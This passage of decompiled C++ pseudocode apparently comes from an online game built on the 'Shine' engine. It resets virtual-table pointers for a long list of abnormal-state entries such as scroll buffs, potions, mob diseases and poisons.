v1->asl_KEEPFROMCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_IMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OBSERVERHIDEMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GMHIDEMODE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWTHSCROLL.astr_Tick); v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONSPPOTION.astr_Tick); v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONSPPOTION.astr_Tick); v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONSPPOTION.astr_Tick); v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONSPPOTION.astr_Tick); v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONSPPOTION.astr_Tick); v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONHPPOTION.astr_Tick); v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONHPPOTION.astr_Tick); v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONHPPOTION.astr_Tick); v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONHPPOTION.astr_Tick); v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONHPPOTION.astr_Tick); v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBMRPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HELGAACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBINVISIBLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBIMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE3.astr_Tick); v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE3.astr_Tick); v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE3.astr_Tick); v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE3.astr_Tick); v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE3.astr_Tick); v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE3.astr_Tick); v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE2.astr_Tick); v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE2.astr_Tick); v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE2.astr_Tick); v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE2.astr_Tick); v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE2.astr_Tick); v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE2.astr_Tick); v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE1.astr_Tick); v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE1.astr_Tick); v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE1.astr_Tick); v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE1.astr_Tick); v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE1.astr_Tick); v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE1.astr_Tick); v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_DIATRUMPYPOISON.astr_Tick); v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6POISON.astr_Tick); v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; 